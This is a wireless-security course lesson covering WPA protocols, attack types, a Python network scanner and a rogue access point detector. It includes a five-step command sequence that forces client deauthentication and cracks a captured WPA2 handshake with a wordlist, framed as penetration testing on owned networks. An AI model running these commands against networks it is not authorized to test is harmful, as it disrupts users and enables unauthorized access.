Lesson 5 Wireless Network Security
50 minutes
Wireless Network Security
Wireless networks present unique security challenges due to their broadcast nature. This lesson covers wireless security protocols, attack vectors, and defensive strategies.
Wireless Security Protocols Evolution
| Protocol | Year | Security Level | Key Features | Vulnerabilities |
|---|---|---|---|---|
| WEP | 1997 | Very Weak | 64/128-bit RC4 encryption | Weak IV, easy to crack |
| WPA | 2003 | Weak | TKIP, dynamic keys | TKIP vulnerabilities |
| WPA2 | 2004 | Good | AES-CCMP encryption | KRACK attack, weak passwords |
| WPA3 | 2018 | Strong | SAE, enhanced encryption | Side-channel attacks |
Common Wireless Attack Vectors
Passive Attacks
- Eavesdropping: Intercepting unencrypted traffic
- Traffic Analysis: Studying communication patterns
- SSID Discovery: Identifying hidden networks
- MAC Address Collection: Gathering device identifiers
Active Attacks
- Evil Twin: Rogue access point impersonation
- Deauthentication: Forcing client disconnections
- WPS Attacks: Exploiting WiFi Protected Setup
- MITM Attacks: Intercepting and modifying traffic
Wireless Reconnaissance Tools
Airodump-ng
Wireless packet capture and network discovery
airodump-ng wlan0mon
Kismet
Wireless network detector and sniffer
kismet -c wlan0
Wash
WPS-enabled access point scanner
wash -i wlan0mon
WPA2 4-Way Handshake Attack
The WPA2 handshake capture and offline dictionary attack is a common method for wireless penetration testing:
# 1. Put wireless interface in monitor mode
airmon-ng start wlan0
# 2. Scan for target networks
airodump-ng wlan0mon
# 3. Capture handshake on specific channel
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# 4. Force deauthentication to capture handshake
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 5. Crack the captured handshake
aircrack-ng -w wordlist.txt capture-01.cap
Python WiFi Scanner
#!/usr/bin/env python3
import subprocess
import re
import time
import sys
from tabulate import tabulate
class WiFiScanner:
def __init__(self, interface='wlan0'):
self.interface = interface
self.networks = []
def scan_networks(self):
"""
Scan for available WiFi networks
"""
try:
# Use iwlist to scan for networks (Linux)
result = subprocess.run(['iwlist', self.interface, 'scan'],
capture_output=True, text=True, timeout=30)
if result.returncode != 0:
print("Error scanning networks. Make sure you have proper permissions.")
return []
return self.parse_scan_results(result.stdout)
except subprocess.TimeoutExpired:
print("Scan timeout. Wireless interface may be busy.")
return []
except FileNotFoundError:
print("iwlist command not found. This script requires Linux with wireless-tools.")
return []
def parse_scan_results(self, scan_output):
"""
Parse iwlist scan output
"""
networks = []
current_network = {}
lines = scan_output.split('\n')
for line in lines:
line = line.strip()
# New access point
if 'Address:' in line and 'ESSID' not in line:
if current_network:
networks.append(current_network)
mac_match = re.search(r'([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})', line)
current_network = {
'BSSID': mac_match.group() if mac_match else 'Unknown',
'SSID': '',
'Channel': 'Unknown',
'Signal': 'Unknown',
'Encryption': [],
'Security': 'Open'
}
# SSID
elif 'ESSID:' in line:
ssid_match = re.search(r'ESSID:"([^"]*)"', line)
if ssid_match:
current_network['SSID'] = ssid_match.group(1)
if not current_network['SSID']:
current_network['SSID'] = ''
# Channel
elif 'Channel:' in line:
channel_match = re.search(r'Channel:(\d+)', line)
if channel_match:
current_network['Channel'] = channel_match.group(1)
# Signal strength
elif 'Signal level=' in line:
signal_match = re.search(r'Signal level=(-?\d+)', line)
if signal_match:
current_network['Signal'] = signal_match.group(1) + ' dBm'
# Encryption information
elif 'Encryption key:' in line:
if 'on' in line:
current_network['Security'] = 'Encrypted'
else:
current_network['Security'] = 'Open'
# WPA/WPA2 information
elif 'IE: IEEE 802.11i/WPA2' in line:
current_network['Encryption'].append('WPA2')
current_network['Security'] = 'WPA2'
elif 'IE: WPA Version' in line:
current_network['Encryption'].append('WPA')
if current_network['Security'] != 'WPA2':
current_network['Security'] = 'WPA'
# Add the last network
if current_network:
networks.append(current_network)
return networks
def analyze_security(self, networks):
"""
Analyze security of discovered networks
"""
vulnerable_networks = []
for network in networks:
vulnerabilities = []
risk_level = 'Low'
# Check for open networks
if network['Security'] == 'Open':
vulnerabilities.append('No encryption - traffic visible to anyone')
risk_level = 'High'
# Check for WEP
elif 'WEP' in network['Security']:
vulnerabilities.append('WEP encryption - easily crackable')
risk_level = 'Critical'
# Check for WPS (simplified check)
elif network['Security'] in ['WPA', 'WPA2']:
vulnerabilities.append('WPS may be enabled - potential PIN attack')
risk_level = 'Medium'
# Check for hidden networks
if network['SSID'] == '':
vulnerabilities.append('Hidden SSID - security through obscurity')
if risk_level == 'Low':
risk_level = 'Medium'
if vulnerabilities:
vulnerable_networks.append({
'network': network,
'vulnerabilities': vulnerabilities,
'risk_level': risk_level
})
return vulnerable_networks
def display_results(self, networks):
"""
Display scan results in a formatted table
"""
if not networks:
print("No networks found.")
return
# Prepare data for tabulation
table_data = []
for network in networks:
encryption_str = ', '.join(network['Encryption']) if network['Encryption'] else network['Security']
table_data.append([
network['SSID'][:20], # Truncate long SSIDs
network['BSSID'],
network['Channel'],
network['Signal'],
encryption_str
])
headers = ['SSID', 'BSSID', 'Channel', 'Signal', 'Security']
print("\nDiscovered WiFi Networks:")
print("=" * 80)
print(tabulate(table_data, headers=headers, tablefmt='grid'))
def generate_security_report(self, vulnerable_networks):
"""
Generate security assessment report
"""
if not vulnerable_networks:
print("\nSecurity Assessment: All networks appear to have basic security measures.")
return
print("\nSECURITY ASSESSMENT REPORT")
print("=" * 50)
risk_counts = {'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0}
for vuln_network in vulnerable_networks:
network = vuln_network['network']
risk_level = vuln_network['risk_level']
vulnerabilities = vuln_network['vulnerabilities']
risk_counts[risk_level] += 1
print(f"\nNetwork: {network['SSID']} ({network['BSSID']})")
print(f"Risk Level: {risk_level}")
print("Vulnerabilities:")
for vuln in vulnerabilities:
print(f" • {vuln}")
print(f"\nSummary:")
print(f"Critical Risk: {risk_counts['Critical']} networks")
print(f"High Risk: {risk_counts['High']} networks")
print(f"Medium Risk: {risk_counts['Medium']} networks")
print(f"Low Risk: {risk_counts['Low']} networks")
def main():
if len(sys.argv) > 1:
interface = sys.argv[1]
else:
interface = 'wlan0'
print(f"WiFi Security Scanner")
print(f"Interface: {interface}")
print("=" * 40)
scanner = WiFiScanner(interface)
print("Scanning for networks... (this may take a moment)")
networks = scanner.scan_networks()
if networks:
scanner.display_results(networks)
# Perform security analysis
vulnerable_networks = scanner.analyze_security(networks)
scanner.generate_security_report(vulnerable_networks)
else:
print("No networks found or scan failed.")
if __name__ == "__main__":
main()
Wireless Security Best Practices
Access Point Security
- Use WPA3 or WPA2 with AES encryption
- Disable WPS (WiFi Protected Setup)
- Use strong, unique passwords (15+ characters)
- Change default admin credentials
- Enable MAC address filtering for critical networks
- Regularly update firmware
Client Security
- Avoid connecting to unknown networks
- Use VPN on public WiFi
- Disable automatic connection to open networks
- Verify SSL/TLS certificates
- Keep devices updated
- Use firewall on mobile devices
Enterprise Wireless Security
802.1X Authentication
Enterprise networks should implement 802.1X for strong authentication:
EAP Methods
- EAP-TLS: Certificate-based authentication
- EAP-TTLS: Tunneled TLS authentication
- PEAP: Protected EAP with TLS tunnel
- EAP-FAST: Flexible Authentication via Secure Tunneling
RADIUS Components
- Supplicant: Client device
- Authenticator: Access point
- Authentication Server: RADIUS server
- Certificate Authority: Issues certificates
Rogue Access Point Detection
#!/usr/bin/env python3
import time
import json
from collections import defaultdict
class RogueAPDetector:
def __init__(self):
self.known_aps = set() # Known legitimate APs (BSSID)
self.authorized_ssids = set() # Authorized SSID patterns
self.suspicious_aps = []
def load_authorized_networks(self, config_file):
"""
Load list of authorized networks from configuration
"""
try:
with open(config_file, 'r') as f:
config = json.load(f)
self.known_aps = set(config.get('authorized_bssids', []))
self.authorized_ssids = set(config.get('authorized_ssids', []))
except FileNotFoundError:
print(f"Config file {config_file} not found. Using empty whitelist.")
def analyze_ap(self, ap_info):
"""
Analyze an access point for suspicious characteristics
"""
suspicious_indicators = []
risk_score = 0
# Check if AP is in authorized list
if ap_info['BSSID'] not in self.known_aps:
suspicious_indicators.append("Unknown BSSID")
risk_score += 3
# Check for suspicious SSID patterns
ssid = ap_info['SSID']
# Evil twin detection - similar to authorized SSIDs
for auth_ssid in self.authorized_ssids:
if ssid != auth_ssid and self.similar_ssid(ssid, auth_ssid):
suspicious_indicators.append(f"Similar to authorized SSID: {auth_ssid}")
risk_score += 5
# Common evil twin patterns
evil_patterns = ['_nomap', 'Guest', 'Public', 'Free', 'Hotel']
if any(pattern.lower() in ssid.lower() for pattern in evil_patterns):
suspicious_indicators.append("Uses common evil twin keywords")
risk_score += 2
# Security analysis
if ap_info['Security'] == 'Open':
suspicious_indicators.append("Open network")
risk_score += 1
elif ap_info['Security'] == 'WEP':
suspicious_indicators.append("Weak WEP encryption")
risk_score += 2
# Channel analysis - multiple APs on same channel
# This would require more complex scanning and comparison
return suspicious_indicators, risk_score
def similar_ssid(self, ssid1, ssid2, threshold=0.8):
"""
Check if two SSIDs are suspiciously similar
"""
if len(ssid1) == 0 or len(ssid2) == 0:
return False
# Simple similarity check based on character overlap
common_chars = set(ssid1.lower()) & set(ssid2.lower())
similarity = len(common_chars) / max(len(set(ssid1.lower())), len(set(ssid2.lower())))
return similarity >= threshold and ssid1 != ssid2
def generate_alert(self, ap_info, indicators, risk_score):
"""
Generate security alert for suspicious AP
"""
alert = {
'timestamp': time.time(),
'ssid': ap_info['SSID'],
'bssid': ap_info['BSSID'],
'channel': ap_info['Channel'],
'signal': ap_info['Signal'],
'security': ap_info['Security'],
'risk_score': risk_score,
'indicators': indicators,
'severity': self.get_severity(risk_score)
}
return alert
def get_severity(self, risk_score):
"""
Determine alert severity based on risk score
"""
if risk_score >= 5:
return 'High'
elif risk_score >= 3:
return 'Medium'
else:
return 'Low'
def monitor_networks(self, scan_results):
"""
Monitor networks for rogue access points
"""
alerts = []
for ap in scan_results:
indicators, risk_score = self.analyze_ap(ap)
if indicators: # Suspicious AP found
alert = self.generate_alert(ap, indicators, risk_score)
alerts.append(alert)
return alerts
# Example usage
def main():
detector = RogueAPDetector()
# Example scan results (would come from actual WiFi scanner)
scan_results = [
{
'SSID': 'CompanyWiFi',
'BSSID': 'AA:BB:CC:DD:EE:FF',
'Channel': '6',
'Signal': '-45 dBm',
'Security': 'WPA2'
},
{
'SSID': 'CompanyWiFi_Guest', # Potential evil twin
'BSSID': '11:22:33:44:55:66',
'Channel': '6',
'Signal': '-40 dBm',
'Security': 'Open'
}
]
alerts = detector.monitor_networks(scan_results)
if alerts:
print("ROGUE ACCESS POINT ALERTS")
print("=" * 40)
for alert in alerts:
print(f"Severity: {alert['severity']}")
print(f"SSID: {alert['ssid']}")
print(f"BSSID: {alert['bssid']}")
print(f"Indicators: {', '.join(alert['indicators'])}")
print("-" * 40)
if __name__ == "__main__":
main()
Exercise
Wireless Security Assessment Lab
Objective: Practice wireless network security assessment techniques.
- Set up a test wireless environment:
- Configure a router with different security settings
- Create networks with WPA2, WPA, and open configurations
- Use scanning tools to discover networks:
- Run the Python WiFi scanner
- Use airodump-ng for detailed analysis
- Compare results from different tools
- Analyze security configurations:
- Identify encryption methods
- Check for WPS enabled networks
- Look for hidden SSIDs
- Document findings and create recommendations
Only test networks you own or have explicit permission to assess!
Wireless Security Checklist
Assessment Checklist
- ☐ Inventory all wireless access points
- ☐ Verify encryption protocols in use
- ☐ Check for rogue access points
- ☐ Test password strength
- ☐ Verify WPS is disabled
- ☐ Check guest network isolation
- ☐ Review access logs
Remediation Actions
- ☐ Upgrade to WPA3 where possible
- ☐ Implement 802.1X authentication
- ☐ Deploy wireless intrusion detection
- ☐ Segment guest and corporate networks
- ☐ Regularly rotate WiFi passwords
- ☐ Monitor for unauthorized devices
- ☐ Train users on wireless security
Lesson 5 of 10